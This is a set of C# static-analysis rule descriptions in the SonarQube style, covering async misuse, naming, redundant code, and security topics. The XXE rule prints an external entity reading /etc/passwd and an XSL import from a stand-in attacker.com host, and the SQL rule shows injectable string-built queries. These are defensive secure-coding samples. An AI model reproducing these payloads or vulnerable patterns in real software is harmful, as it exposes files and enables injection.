  • literals matching one of the parameter names
  • literals used in attributes
csharpsquid:S4583

Calling the BeginInvoke method of a delegate will allocate some resources that are only freed-up when EndInvoke is called. This is why you should always pair BeginInvoke with an EndInvoke to complete your asynchronous call.

This rule raises an issue when:

  • the BeginInvoke method is called without any callback and it is not paired with a call to EndInvoke in the same block.
  • a callback with a single parameter of type IAsyncResult doesn't contain a call to EndInvoke.

Noncompliant Code Example

BeginInvoke without callback

public delegate string AsyncMethodCaller();

public static void Main()
{
    AsyncExample asyncExample = new AsyncExample();
    AsyncMethodCaller caller = new AsyncMethodCaller(asyncExample.MyMethod);

    // Initiate the asynchronous call.
    IAsyncResult result = caller.BeginInvoke(null, null); // Noncompliant - not paired with EndInvoke
}

BeginInvoke with callback

public delegate string AsyncMethodCaller();

public static void Main()
{
    AsyncExample asyncExample = new AsyncExample();
    AsyncMethodCaller caller = new AsyncMethodCaller(asyncExample.MyMethod);

    IAsyncResult result = caller.BeginInvoke(
        new AsyncCallback((IAsyncResult ar) => {}),
        null); // Noncompliant - not paired with EndInvoke
}

Compliant Solution

BeginInvoke without callback

public delegate string AsyncMethodCaller();

public static void Main()
{
    AsyncExample asyncExample = new AsyncExample();
    AsyncMethodCaller caller = new AsyncMethodCaller(asyncExample.MyMethod);

    IAsyncResult result = caller.BeginInvoke(null, null);

    string returnValue = caller.EndInvoke(out threadId, result);
}

BeginInvoke with callback

public delegate string AsyncMethodCaller();

public static void Main()
{
    AsyncExample asyncExample = new AsyncExample();
    AsyncMethodCaller caller = new AsyncMethodCaller(asyncExample.MyMethod);

    IAsyncResult result = caller.BeginInvoke(
        new AsyncCallback((IAsyncResult ar) =>
            {
                // Retrieve the delegate.
                AsyncResult result = (AsyncResult)ar;
                AsyncMethodCaller caller = (AsyncMethodCaller)result.AsyncDelegate;
                // Call EndInvoke to retrieve the results.
                string returnValue = caller.EndInvoke(ar);
            }),
            null
        );
}

See

Calling Synchronous Methods Asynchronously

csharpsquid:S4462

Making blocking calls to async methods transforms something that was intended to be asynchronous into a synchronous block. Doing so can cause deadlocks and unexpected blocking of context threads.

According to the MSDN documentation:

The root cause of this deadlock is due to the way await handles contexts. By default, when an incomplete Task is awaited, the current “context” is captured and used to resume the method when the Task completes. This “context” is the current SynchronizationContext unless it’s null, in which case it’s the current TaskScheduler. GUI and ASP.NET applications have a SynchronizationContext that permits only one chunk of code to run at a time. When the await completes, it attempts to execute the remainder of the async method within the captured context. But that context already has a thread in it, which is (synchronously) waiting for the async method to complete. They’re each waiting for the other, causing a deadlock.

To Do This … Instead of This … Use This
Retrieve the result of a background task Task.Wait, Task.Result or Task.GetAwaiter.GetResult await
Wait for any task to complete Task.WaitAny await Task.WhenAny
Retrieve the results of multiple tasks Task.WaitAll await Task.WhenAll
Wait a period of time Thread.Sleep await Task.Delay

Noncompliant Code Example

public static class DeadlockDemo
{
    private static async Task DelayAsync()
    {
        await Task.Delay(1000);
    }

    // This method causes a deadlock when called in a GUI or ASP.NET context.
    public static void Test()
    {
        // Start the delay.
        var delayTask = DelayAsync();
        // Wait for the delay to complete.
        delayTask.Wait(); // Noncompliant
    }
}

Compliant Solution

public static class DeadlockDemo
{
    private static async Task DelayAsync()
    {
        await Task.Delay(1000);
    }

    public static async Task TestAsync()
    {
        // Start the delay.
        var delayTask = DelayAsync();
        // Wait for the delay to complete.
        await delayTask;
    }
}

Exceptions

  • Main methods of Console Applications are not subject to this deadlock issue and so are ignored by this rule.
  • Thread.Sleep is also ignored when it is used in a non-async method.
  • Calls chained after Task.Run or Task.Factory.StartNew are ignored because they don't suffer from this deadlock issue

See

csharpsquid:S4220

When raising an event, two arguments are expected by the EventHandler delegate: Sender and event-data. There are three guidelines regarding these parameters:

  • Do not pass null as the sender when raising a non-static event.
  • Do pass null as the sender when raising a static event.
  • Do not pass null as the event-data. If no data should be passed, then EventArgs.Empty should be used.

This rule raises an issue when any of these guidelines is not met.

Noncompliant Code Example

using System;

namespace MyLibrary
{
  class Foo
  {
    public event EventHandler ThresholdReached;

    protected virtual void OnThresholdReached(EventArgs e)
    {
        ThresholdReached?.Invoke(null, e); // Noncompliant
    }
  }
}

Compliant Solution

using System;

namespace MyLibrary
{
  class Foo
  {
    public event EventHandler ThresholdReached;

    protected virtual void OnThresholdReached(EventArgs e)
    {
        ThresholdReached?.Invoke(this, e);
    }
  }
}
csharpsquid:S3010

Assigning a value to a static field in a constructor could cause unreliable behavior at runtime since it will change the value for all instances of the class.

Instead remove the field's static modifier, or initialize it statically.

Noncompliant Code Example

public class Person
{
  private static DateTime dateOfBirth;
  private static int expectedFingers;

  public Person(DateTime birthday)
  {
    dateOfBirth = birthday;  // Noncompliant; now everyone has this birthday
    expectedFingers = 10;  // Noncompliant
  }
}

Compliant Solution

public class Person
{
  private DateTime dateOfBirth;
  private static int expectedFingers = 10;

  public Person(DateTime birthday)
  {
    this.dateOfBirth = birthday;
  }
}
csharpsquid:S4581

When the syntax new Guid() (i.e. parameterless instantiation) is used, it must be that one of three things is wanted:

  1. An empty GUID, in which case Guid.Empty is clearer.
  2. A randomly-generated GUID, in which case Guid.NewGuid() should be used.
  3. A new GUID with a specific initialization, in which case the initialization parameter is missing.

This rule raises an issue when a parameterless instantiation of the Guid struct is found.

Noncompliant Code Example

public void Foo()
{
    var g = new Guid(); // Noncompliant - what's the intent?
}

Compliant Solution

public void Foo(byte[] bytes)
{
    var g1 = Guid.Empty;
    var g2 = Guid.NewGuid();
    var g3 = new Guid(bytes);
}
csharpsquid:S3251

partial methods allow an increased degree of flexibility in programming a system. Hooks can be added to generated code by invoking methods that define their signature, but might not have an implementation yet. But if the implementation is still missing when the code makes it to production, the compiler silently removes the call. In the best case scenario, such calls simply represent cruft, but in they worst case they are critical, missing functionality, the loss of which will lead to unexpected results at runtime.

This rule raises an issue for partial methods for which no implementation can be found in the assembly.

Noncompliant Code Example

partial class C
{
  partial void M(); //Noncompliant

  void OtherM()
  {
    M(); //Noncompliant. Will be removed.
  }
}
csharpsquid:S3937

The use of punctuation characters to separate subgroups in a number can make the number more readable. For instance consider 1,000,000,000 versus 1000000000. But when the grouping is irregular, such as 1,000,00,000; it indicates an error.

This rule raises an issue when underscores (_) are used to break a number into irregular subgroups.

Noncompliant Code Example

int duos = 1_00_00;
int million = 1_000_00_000;  // Noncompliant
int thousand = 1000;
int tenThousand = 100_00;  // Noncompliant
csharpsquid:S4586

Returning null from a non-async Task/Task<T> method will cause a NullReferenceException at runtime. This problem can be avoided by returning Task.FromResult<T>(null) instead.

Noncompliant Code Example

public Task<object> GetFooAsync()
{
    return null; // Noncompliant
}

Compliant Solution

public Task<object> GetFooAsync()
{
    return Task.FromResult<object>(null);
}
csharpsquid:S3254

Specifying the default parameter values in a method call is redundant. Such values should be omitted in the interests of readability.

Noncompliant Code Example

public void M(int x, int y=5, int z = 7) { /* ... */ }

// ...
M(1, 5); //Noncompliant, y has the default value
M(1, z: 7); //Noncompliant, z has the default value

Compliant Solution

public void M(int x, int y=5, int z = 7) { /* ... */ }

// ...
M(1);
M(1);
csharpsquid:S1075

Hardcoding a URI makes it difficult to test a program: path literals are not always portable across operating systems, a given absolute path may not exist on a specific test environment, a specified Internet URL may not be available when executing the tests, production environment filesystems usually differ from the development environment, ...etc. For all those reasons, a URI should never be hardcoded. Instead, it should be replaced by customizable parameter.

Further even if the elements of a URI are obtained dynamically, portability can still be limited if the path-delimiters are hardcoded.

This rule raises an issue when URI's or path delimiters are hardcoded.

Exceptions

This rule does not raise an issue when an ASP.NET virtual path is passed as an argument to one of the following:

  • methods: System.Web.HttpServerUtilityBase.MapPath(), System.Web.HttpRequestBase.MapPath(), System.Web.HttpResponseBase.ApplyAppPathModifier(), System.Web.Mvc.UrlHelper.Content()
  • all methods of: System.Web.VirtualPathUtility
  • constructors of: Microsoft.AspNetCore.Mvc.VirtualFileResult, Microsoft.AspNetCore.Routing.VirtualPathData

See

csharpsquid:S3011

This rule raises an issue when reflection is used to change the visibility of a class, method or field, and when it is used to directly update a field value. Altering or bypassing the accessibility of classes, methods, or fields violates the encapsulation principle and could lead to run-time errors.

Noncompliant Code Example

using System.Reflection;

Type dynClass = Type.GetType("MyInternalClass");
// Noncompliant. Using BindingFlags.NonPublic will return non-public members
BindingFlags bindingAttr = BindingFlags.NonPublic | BindingFlags.Static;
MethodInfo dynMethod = dynClass.GetMethod("mymethod", bindingAttr);
object result = dynMethod.Invoke(dynClass, null);

See

  • CERT, SEC05-J. - Do not use reflection to increase accessibility of classes, methods, or fields
csharpsquid:S3253

Since the compiler will automatically invoke the base type's no-argument constructor, there's no need to specify its invocation explicitly. Also, when only a single public parameterless constructor is defined in a class, then that constructor can be removed because the compiler would generate it automatically. Similarly, empty static constructors and empty destructors are also wasted keystrokes.

Noncompliant Code Example

class X
{
  public X() { } // Noncompliant
  static X() { }  // Noncompliant
  ~X() { } // Noncompliant

  ...
}

class Y : X
{
  public Y(int parameter) : base() // Noncompliant
  {
    /* does something with the parameter */
  }
}

Compliant Solution

class X
{
  ...
}

class Y : X
{
  public Y(int parameter)
  {
    /* does something with the parameter */
  }
}
csharpsquid:S3256

Using string.Equals to determine if a string is empty is significantly slower than using string.IsNullOrEmpty() or checking for string.Length == 0. string.IsNullOrEmpty() is both clear and concise, and therefore preferred to laborious, error-prone, manual null- and emptiness-checking.

Noncompliant Code Example

"".Equals(name); // Noncompliant
!name.Equals(""); // Noncompliant
name.Equals(string.Empty); // Noncompliant

Compliant Solution

name != null && name.Length > 0 // Compliant but more error prone
!string.IsNullOrEmpty(name)
string.IsNullOrEmpty(name)
csharpsquid:S3376

Adherence to the standard naming conventions makes your code not only more readable, but more usable. For instance, class FirstAttribute : Attribute can be used simply with First, but you must use the full name for class AttributeOne : Attribute.

This rule raises an issue when classes extending Attribute, EventArgs, or Exception, do not end with their parent class names.

Noncompliant Code Example

class AttributeOne : Attribute  // Noncompliant
{
}

Compliant Solution

class FirstAttribute : Attribute
{
}

Exceptions

If a class' direct base class doesn't follow the convention, then no issue is reported on the class itself, regardless of whether or not it conforms to the convention.

class Timeout : Exception // Noncompliant
{
}
class ExtendedTimeout : Timeout // Ignored; doesn't conform to convention, but the direct base doesn't conform either
{
}
csharpsquid:S1199

Nested code blocks can be used to create a new scope and restrict the visibility of the variables defined inside it. Using this feature in a method typically indicates that the method has too many responsibilities, and should be refactored into smaller methods.

Noncompliant Code Example

public void Evaluate()
{
    /* ... */
    {     // Noncompliant - nested code block '{' ... '}'
          int a = stack.pop();
          int b = stack.pop();
          int result = a + b;
          stack.push(result);
    }
    /* ... */
}

Compliant Solution

public void Evaluate()
{
    /* ... */
    StackAdd();
    /* ... */
}

private void StackAdd()
{
      int a = stack.pop();
      int b = stack.pop();
      int result = a + b;
      stack.push(result);
}

Exceptions

The usage of a code block after a "case" is allowed for this rule.

csharpsquid:S1871

Having two cases in the same switch statement or branches in the same if structure with the same implementation is at best duplicate code, and at worst a coding error. If the same logic is truly needed for both instances, then in an if structure they should be combined, or for a switch, one should fall through to the other.

Noncompliant Code Example

switch (i)
{
  case 1:
    DoFirst();
    DoSomething();
    break;
  case 2:
    DoSomethingDifferent();
    break;
  case 3:  // Noncompliant; duplicates case 1's implementation
    DoFirst();
    DoSomething();
    break;
  default:
    DoTheRest();
}

if (a >= 0 && a < 10)
{
  DoFirst();
  DoTheThing();
}
else if (a >= 10 && a < 20)
{
  DoTheOtherThing();
}
else if (a >= 20 && a < 50)   // Noncompliant; duplicates first condition
{
  DoFirst();
  DoTheThing();
}

Exceptions

Blocks in an if chain that contain a single line of code are ignored, as are blocks in a switch statement that contain a single line of code with or without a following break.

if (a >= 0 && a < 10)
{
  DoTheThing();
}
else if (a >= 10 && a < 20)
{
  DoTheOtherThing();
}
else if (a >= 20 && a < 50)    //no issue, usually this is done on purpose to increase the readability
{
  DoTheThing();
}

But this exception does not apply to if chains without else-s, or to switch-es without default clauses when all branches have the same single line of code. In case of if chains with else-s, or of switch-es with default clauses, rule S3923 raises a bug.

if(a == 1)
{
  doSomething();  //Noncompliant, this might have been done on purpose but probably not
}
else if (a == 2)
{
  doSomething();
}
csharpsquid:S3257

Unnecessarily verbose declarations and initializations make it harder to read the code, and should be simplified.

Specifically the following should be omitted when they can be inferred:

  • array element type
  • array size
  • new DelegateType
  • new Nullable<Type>
  • object or collection initializers ({})
  • type of lambda expression parameters
  • parameter declarations of anonymous methods when the parameters are not used.

Noncompliant Code Example

var l = new List<int>() {}; // Noncompliant, {} can be removed
var o = new object() {}; // Noncompliant, {} can be removed

var ints = new int[] {1, 2, 3}; // Noncompliant, int can be omitted
ints = new int[3] {1, 2, 3}; // Noncompliant, the size specification can be removed

int? i = new int?(5); // Noncompliant new int? could be omitted, it can be inferred from the declaration, and there's implicit conversion from T to T?
var j = new int?(5);

Func<int, int> f1 = (int i) => 1; //Noncompliant, can be simplified

class Class
{
    private event EventHandler MyEvent;

    public Class()
    {
        MyEvent += new EventHandler((a,b)=>{ }); // Noncompliant, needlessly verbose
    }
}

Compliant Solution

var l = new List<int>();
var o = new object();

var ints = new [] {1, 2, 3};
ints = new [] {1, 2, 3};

int? i = 5;
var j = new int?(5);

Func<int, int> f1 = (i) => 1;

class Class
{
    private event EventHandler MyEvent;

    public Class()
    {
        MyEvent += (a,b)=>{ };
    }
}
csharpsquid:S1751

A loop with at most one iteration is equivalent to the use of an if statement to conditionally execute one piece of code. If the initial intention of the author was really to conditionally execute one piece of code, an if statement should be used instead. If that was not the initial intention of the author, the body of the loop should be fixed to use the nested return, break or throw statements in a more appropriate way.

Noncompliant Code Example

for (int i = 0; i < 10; i++)
{
    Console.WriteLine(i);
    break;  // Noncompliant, loop only executes once
}
...
foreach (var item in items)
{
    return item;  // Noncompliant, loop only executes once
}
...

Compliant Solution

for (int i = 0; i < 10; i++)
{
    Console.WriteLine(i);
}
...
var item = items.FirstOrDefault();
if (item != null)
{
    return item;
}
...
csharpsquid:S4225

Creating an extension method that extends object is not recommended because it makes the method available on every type. Extensions should be applied at the most specialized level possible, and that is very unlikely to be object.

Noncompliant Code Example

using System;

namespace MyLibrary
{
    public static class MyExtensions
    {
        public static void Foo(this object o)  //Noncompliant
        {
            // ...
        }
    }
}
csharpsquid:S1994

It can be extremely confusing when a for loop's counter is incremented outside of its increment clause. In such cases, the increment should be moved to the loop's increment clause if at all possible.

Noncompliant Code Example

for (i = 0; i < 10; j++) // Noncompliant
{
  // ...
}

Compliant Solution

for (i = 0; i < 10; i++)
{
  // ...
}
csharpsquid:S4226

It makes little sense to create an extension method when it is possible to just add that method to the class itself.

This rule raises an issue when an extension is declared in the same namespace as the class it is extending.

Noncompliant Code Example

namespace MyLibrary
{
    public class Foo
    {
        // ...
    }

    public static class MyExtensions
    {
        public static void Bar(this Foo a) // Noncompliant
        {
            // ...
        }
    }
}

Compliant Solution

Using separate namespace:

namespace MyLibrary
{
    public class Foo
    {
        // ...
    }
}

namespace Helpers
{
    public static class MyExtensions
    {
        public static void Bar(this Foo a)
        {
            // ...
        }
    }
}

Merging the method in the class:

namespace MyLibrary
{
    public class Foo
    {
        // ...
        public void Bar()
        {
            // ...
        }
    }
}
csharpsquid:S2190

Recursion happens when control enters a loop that has no exit. This can happen a method invokes itself, when a pair of methods invoke each other, or when goto statements are used to move between two segments of code. It can be a useful tool, but unless the method includes a provision to break out of the recursion and return, the recursion will continue until the stack overflows and the program crashes.

Noncompliant Code Example

int Pow(int num, int exponent)   // Noncompliant; no condition under which pow isn't re-called
{
  num = num * Pow(num, exponent-1);
  return num;  // this is never reached
}

void InternalRecursion(int i)
{
  start:
    goto end;
  end:
    goto start; // Noncompliant; there's no way to break out of this method
}

Compliant Solution

int Pow(int num, int exponent)
{
  if (exponent > 1) // recursion now conditional and stop-able
  {
    num = num * Pow(num, exponent-1);
  }
  return num;
}
csharpsquid:S2070

The MD5 algorithm and its successor, SHA-1, are no longer considered secure, because it is too easy to create hash collisions with them. That is, it takes too little computational effort to come up with a different input that produces the same MD5 or SHA-1 hash, and using the new, same-hash value gives an attacker the same access as if he had the originally-hashed value. This applies as well to the other Message-Digest algorithms: MD2, MD4, MD6.

This rule tracks usage of the System.Security.Cryptography.CryptoConfig.CreateFromName(), and System.Security.Cryptography.HashAlgorithm.Create() methods to instantiate MD5, DSA, HMACMD5, HMACRIPEMD160, RIPEMD-160 or SHA-1 algorithms, and of derived class instances of System.Security.Cryptography.SHA1 and System.Security.Cryptography.MD5.

Consider using safer alternatives, such as SHA-256, or SHA-3.

Noncompliant Code Example

var hashProvider1 = new MD5CryptoServiceProvider(); //Noncompliant
var hashProvider2 = (HashAlgorithm)CryptoConfig.CreateFromName("MD5"); //Noncompliant
var hashProvider3 = new SHA1Managed(); //Noncompliant
var hashProvider4 = HashAlgorithm.Create("SHA1"); //Noncompliant

Compliant Solution

var hashProvider1 = new SHA256Managed();
var hashProvider2 = (HashAlgorithm)CryptoConfig.CreateFromName("SHA256Managed");
var hashProvider3 = HashAlgorithm.Create("SHA256Managed");

See

Deprecated

This rule is deprecated; use S4790 instead.

csharpsquid:S113

Some tools work better when files end with an empty line.

This rule simply generates an issue if it is missing.

For example, a Git diff looks like this if the empty line is missing at the end of the file:

+class Test
+{
+}
\ No newline at end of file
csharpsquid:S3966

Disposing an object twice, either with the using keyword or by calling Dispose directly, in the same method is at best confusing and at worst error-prone. The next developer might see only one of the Dispose/using and try to use an already-disposed object.

In addition, even if the documentation of Disposable explicitly states that calling the Dispose method multiple times should not throw an exception, some implementation still do it. Thus it is safer to not dispose an object twice when possible.

This rule raises an issue when, in the same method, the Dispose method is explicitly called twice on the same object, or when using is used with a direct call to Dispose().

Noncompliant Code Examples

using (var d = new Disposable()) // Noncompliant
{
    d.Dispose();
}
using var d = new Disposable();
d.Dispose(); // Noncompliant {{Refactor this code to make sure 'd' is disposed only once.}}

Compliant Solution

using var d = new Disposable();
csharpsquid:S3603

Marking a method with the Pure attribute specifies that the method doesn't make any visible changes; thus, the method should return a result, otherwise the call to the method should be equal to no-operation. So Pure on a void method is either a mistake, or the method doesn't do any meaningful task.

Noncompliant Code Example

class Person
{
  private int age;
  [Pure] // Noncompliant. In this case the method makes a possibly visible state change
  void ConfigureAge(int age)
  {
    ...
    this.age = age;
  }
  ...
}

Compliant Solution

class Person
{
  private int age;

  void ConfigureAge(int age)
  {
    ...
    this.age = age;
  }
  ...
}
csharpsquid:S2997

Typically you want to use using to create a local IDisposable variable; it will trigger disposal of the object when control passes out of the block's scope. The exception to this rule is when your method returns that IDisposable. In that case using disposes of the object before the caller can make use of it, likely causing exceptions at runtime. So you should either remove using or avoid returning the IDisposable.

Noncompliant Code Example

public FileStream WriteToFile(string path, string text)
{
  using (var fs = File.Create(path)) // Noncompliant
  {
    var bytes = Encoding.UTF8.GetBytes(text);
    fs.Write(bytes, 0, bytes.Length);
    return fs;
  }
}

Compliant Solution

public FileStream WriteToFile(string path, string text)
{
  var fs = File.Create(path);
  var bytes = Encoding.UTF8.GetBytes(text);
  fs.Write(bytes, 0, bytes.Length);
  return fs;
}
csharpsquid:S2755

XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs.

Example in this XML document, an external entity read the /etc/passwd file:

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <to>&xxe;</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl">
  <xsl:import href="http://www.attacker.com/evil.xsl"/>
  <xsl:include href="http://www.attacker.com/evil.xsl"/>
 <xsl:template match="/">
  &content;
 </xsl:template>
</xsl:stylesheet>

It is recommended to disable access to external entities and network access in general.

Noncompliant Code Examples

System.Xml.XmlDocument

// .NET Framework < 4.5.2
XmlDocument parser = new XmlDocument(); // Noncompliant: XmlDocument is not safe by default
parser.LoadXml("xxe.xml");

or

// .NET Framework 4.5.2+
XmlDocument parser = new XmlDocument();
parser.XmlResolver = new XmlUrlResolver(); // Noncompliant: XmlDocument.XmlResolver configured with XmlUrlResolver that makes it unsafe
parser.LoadXml("xxe.xml");

System.Xml.XmlTextReader

// .NET Framework < 4.5.2
XmlTextReader reader = new XmlTextReader("xxe.xml"); // Noncompliant: XmlTextReady is not safe by default
while (reader.Read())
{ ... }

or

// .NET Framework 4.5.2+
XmlTextReader reader = new XmlTextReader("xxe.xml");
reader.XmlResolver = new XmlUrlResolver(); // Noncompliant: XmlTextRead.XmlResolver configured with XmlUrlResolver that makes it unsafe
while (reader.Read())
{ ... }

System.Xml.XmlReader

// .NET Framework 4.5.2+
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Parse;
settings.XmlResolver = new XmlUrlResolver();
XmlReader reader = XmlReader.Create("xxe.xml", settings); // Noncompliant: XmlReader is safe by default and becomes unsafe if DtdProcessing = Parse and XmlResolver is not null
while (reader.Read())
{ ... }

System.Xml.XPath.XPathDocument

// prior to .NET 4.5.2
XPathDocument doc = new XPathDocument("example.xml"); // Noncompliant
XPathNavigator nav = doc.CreateNavigator();
string xml = nav.InnerXml.ToString();

Compliant Solution

System.Xml.XmlDocument

XmlDocument parser = new XmlDocument();
parser.XmlResolver = null; // Compliant: XmlResolver has been set to null
parser.LoadXml("xxe.xml");

or

XmlDocument parser = new XmlDocument(); // Compliant: XmlDocument is safe by default in  .NET Framework 4.5.2+ because XmlResolver is set by default to null
parser.LoadXml("xxe.xml");

System.Xml.XmlTextReader

// .NET 4.5.2+
XmlTextReader reader = new XmlTextReader("xxe.xml"); // Compliant: XmlTextReader is safe by default in  .NET Framework 4.5.2+ because XmlResolver is set by default to null
while (reader.Read())
{ ... }

// .NET 4.0 to .NET 4.5.1
XmlTextReader reader = new XmlTextReader("xxe.xml");
reader.DtdProcessing = DtdProcessing.Prohibit; // Compliant: XmlTextReader is safe by default in  .NET Framework 4.5.2+ because XmlResolver is set by default to null

// < .NET 4.0
XmlTextReader reader = new XmlTextReader(stream);
reader.ProhibitDtd = true; // Compliant: default is false

System.Xml.XmlReader

XmlReader reader = XmlReader.Create("xxe.xml"); // Compliant: XmlReader is safe by default
while (reader.Read())
{ ... }

System.Xml.XPath.XPathDocument

// prior to .NET 4.5.2
XmlReader reader = XmlReader.Create("example.xml");
XPathDocument doc = new XPathDocument(reader); // Compliant: XPathDocument is safe when being given a safe XmlReader
XPathNavigator nav = doc.CreateNavigator();
string xml = nav.InnerXml.ToString();

See

csharpsquid:S2758

When the second and third operands of a ternary operator are the same, the operator will always return the same value regardless of the condition. Either the operator itself is pointless, or a mistake was made in coding it.

Noncompliant Code Example

public bool CanVote(Person person)
{
  return person.GetAge() > 18 ? true : true; // Noncompliant; is this what was intended?
}

Compliant Solution

public bool CanVote(Person person)
{
  return person.GetAge() > 18 ? true : false;
  // or even better:
  // return person.GetAge() > 18;
}

Deprecated

This rule is deprecated; use S3923 instead.

csharpsquid:S3604

Fields, properties and events can be initialized either inline or in the constructor. Initializing them inline and in the constructor at the same time is redundant; the inline initialization will be overridden.

Noncompliant Code Example

class Person
{
  int age = 42; // Noncompliant
  public Person(int age)
  {
    this.age = age;
  }
}

Compliant Solution

class Person
{
  int age;
  public Person(int age)
  {
    this.age = age;
  }
}

Exceptions

This rule doesn't report an issue if not all constructors initialize the field. If the field is initialized inline to its default value, then S3052 already reports an issue on the initialization.

csharpsquid:S3967

A jagged array is an array whose elements are arrays. It is recommended over a multidimensional array because the arrays that make up the elements can be of different sizes, which avoids wasting memory space.

Noncompliant Code Example

int [,] myArray =  // Noncompliant
    {
        {1,2,3,4},
        {5,6,7,0},
        {8,0,0,0},
        {9,0,0,0}
    };
// ...
myArray[1,1] = 0;

Compliant Solution

int[][] myArray =
    {
        new int[] {1,2,3,4},
        new int[] {5,6,7},
        new int[] {8},
        new int[] {9}
    };
// ...
myArray[1][1] = 0;
csharpsquid:S2757

The use of operators pairs ( =+, =- or =! ) where the reversed, single operator was meant (+=, -= or !=) will compile and run, but not produce the expected results.

This rule raises an issue when =+, =-, or =! is used without any spacing between the two operators and when there is at least one whitespace character after.

Noncompliant Code Example

int target = -5;
int num = 3;

target =- num;  // Noncompliant; target = -3. Is that really what's meant?
target =+ num; // Noncompliant; target = 3

Compliant Solution

int target = -5;
int num = 3;

target = -num;  // Compliant; intent to assign inverse value of num is clear
target += num;
csharpsquid:S4818

Using sockets is security-sensitive. It has led in the past to the following vulnerabilities:

Sockets are vulnerable in multiple ways:

  • They enable a software to interact with the outside world. As this world is full of attackers it is necessary to check that they cannot receive sensitive information or inject dangerous input.
  • The number of sockets is limited and can be exhausted. Which makes the application unresponsive to users who need additional sockets.

This rules flags code that creates sockets. It matches only the direct use of sockets, not use through frameworks or high-level APIs such as the use of http connections.

Ask Yourself Whether

  • sockets are created without any limit every time a user performs an action.
  • input received from sockets is used without being sanitized.
  • sensitive data is sent via sockets without being encrypted.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • In many cases there is no need to open a socket yourself. Use instead libraries and existing protocols.
  • Encrypt all data sent if it is sensitive. Usually it is better to encrypt it even if the data is not sensitive as it might change later.
  • Sanitize any input read from the socket.
  • Limit the number of sockets a given user can create. Close the sockets as soon as possible.

Sensitive Code Example

using System.Net.Sockets;

class TestSocket
{
    public static void Run()
    {
        // Sensitive
        Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

        // TcpClient and UdpClient simply abstract the details of creating a Socket
        TcpClient client = new TcpClient("example.com", 80); // Sensitive
        UdpClient listener = new UdpClient(80); // Sensitive
    }
}

See

Deprecated

This rule is deprecated, and will eventually be removed.

csharpsquid:S1309

This rule allows you to track the usage of the SuppressMessage attributes and #pragma warning disable mechanism.

Noncompliant Code Example

[SuppressMessage("", "S100")]
...

#pragma warning disable S100
...
#pragma warning restore S100
csharpsquid:S2077

Formatting strings used as SQL queries is security-sensitive. It has led in the past to the following vulnerabilities:

SQL queries often need to use a hardcoded SQL string with a dynamic parameter coming from a user request. Formatting a string to add those parameters to the request is a bad practice as it can result in an SQL injection. The safe way to add parameters to a SQL query is to use SQL binding mechanisms.

This rule flags the execution of SQL queries which are built using formatting of strings, even if there is no injection. This rule does not detect SQL injections. The goal is to guide security code reviews and to prevent a common bad practice.

The following specific method signatures are tested:

  • System.Data.SqlClient.SqlCommand.SqlCommand(string, ...)
  • System.Data.SqlClient.SqlDataAdapter.SqlDataAdapter(string, ...)
  • System.Data.Odbc.OdbcCommand.OdbcCommand(string, ...)
  • System.Data.Odbc.OdbcDataAdapter.OdbcDataAdapter(string, ...)
  • System.Data.SqlServerCe.SqlCeCommand.SqlCeCommand(string, ...)
  • System.Data.SqlServerCe.SqlCeDataAdapter.SqlCeDataAdapter(string, ...)
  • System.Data.OracleClient.OracleCommand.OracleCommand(string, ...)
  • System.Data.OracleClient.OracleDataAdapter.OracleDataAdapter(string, ...)
  • Microsoft.EntityFrameworkCore.RelationalDatabaseFacadeExtensions.ExecuteSqlCommand(...)
  • Microsoft.EntityFrameworkCore.RelationalDatabaseFacadeExtensions.ExecuteSqlCommandAsync(...)
  • Microsoft.EntityFrameworkCore.RelationalQueryableExtensions.FromSql<TEntity>(System.Linq.IQueryable<TEntity>, System.FormattableString)
  • System.Data.SqlClient.SqlCommand.CommandText.set
  • System.Data.Odbc.OdbcCommand.CommandText.set
  • System.Data.SqlServerCe.SqlCeCommand.CommandText.set
  • System.Data.OracleClient.OracleCommand.CommandText.set

The following formatting methods will raise an issue:

  • String.Concat
  • String.Format
  • FormattableString, with some exceptions (see the Exceptions section)

Ask Yourself Whether

  • the SQL query is built using string formatting technics, such as concatenating variables.
  • some of the values are coming from an untrusted source and are not sanitized.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Avoid building queries manually using formatting technics. If you do it anyway, do not include user input in this building process.
  • Use parameterized queries, prepared statements, or stored procedures whenever possible.
  • You may also use ORM frameworks such as Hibernate which, if used correctly, reduce injection risks.
  • Avoid executing SQL queries containing unsafe input in stored procedures or functions.
  • Sanitize every unsafe input.

You can also reduce the impact of an attack by using a database account with low privileges.

Sensitive Code Example

public void Foo(DbContext context, string query, string param)
{
    string sensitiveQuery = string.Concat(query, param);
    context.Database.ExecuteSqlCommand(sensitiveQuery); // Sensitive
    context.Query<User>().FromSql(sensitiveQuery); // Sensitive

    context.Database.ExecuteSqlCommand($"SELECT * FROM mytable WHERE mycol={value}", param); // Sensitive, the FormattableString is evaluated and converted to RawSqlString
    string query = $"SELECT * FROM mytable WHERE mycol={param}";
    context.Database.ExecuteSqlCommand(query); // Sensitive, the FormattableString has already been evaluated, it won't be converted to a parametrized query.
}

public void Bar(SqlConnection connection, string param)
{
    SqlCommand command;
    string sensitiveQuery = string.Format("INSERT INTO Users (name) VALUES (\"{0}\")", param);
    command = new SqlCommand(sensitiveQuery); // Sensitive

    command.CommandText = sensitiveQuery; // Sensitive

    SqlDataAdapter adapter;
    adapter = new SqlDataAdapter(sensitiveQuery, connection); // Sensitive
}

Compliant Solution

public void Foo(DbContext context, string query, string param)
{
    context.Database.ExecuteSqlCommand("SELECT * FROM mytable WHERE mycol=@p0", param); // Compliant, it's a parametrized safe query
}

See

csharpsquid:S122

For better readability, do not put more than one statement on a single line.

Noncompliant Code Example

if(someCondition) DoSomething();

Compliant Solution

if(someCondition)
{
  DoSomething();
}

Exceptions

Anonymous functions containing a single statement are ignored. Block statements are not considered either.

